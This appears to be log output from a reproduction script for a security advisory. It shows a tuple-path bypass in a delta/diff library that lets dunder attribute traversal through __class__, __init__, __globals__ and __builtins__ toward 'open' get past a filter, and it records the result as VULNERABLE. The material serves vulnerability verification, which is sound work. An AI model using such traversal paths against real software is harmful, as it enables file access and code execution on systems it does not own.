Unable to get the item at (('root', 'GETATTR'), ('__class__', 'GETATTR'), ('__init__', 'GETATTR'), ('__globals__', 'GETATTR'), ('__builtins__', 'GET'), ('open', 'GET')): 'wrapper_descriptor' object has no attribute '__globals__' [VULNERABLE] Testing tuple path bypass to access dunder attributes... [VULNERABLE] Delta created successfully with dunder path [VULNERABLE] Path accepted: (('root', 'GETATTR'), ('__class__', 'GETATTR'), ('__init__', 'GETATTR'), ('__globals__', 'GETATTR'), ('__builtins__', 'GET'), ('open', 'GET')) [VULNERABLE] Apply error (expected): Unable to get the item at (('root', 'GETATTR'), ('__class__', 'GETATTR'), ('__init__', 'GETATTR'), ('__globals__', 'GETATTR'), ('__builtins__', 'GET'), ('open', 'GET')): 'wrapper_descriptor' object has no attribute '__globals__' [VULNERABLE] Demonstrating class attribute modification... [!] VULNERABLE - Tuple path bypass allows dunder traversal [!] Evidence written to /Users/g/code/pruva/tickets/ghsa-mw26-5g2v-hqw3/repro/logs/evidence_vuln.txt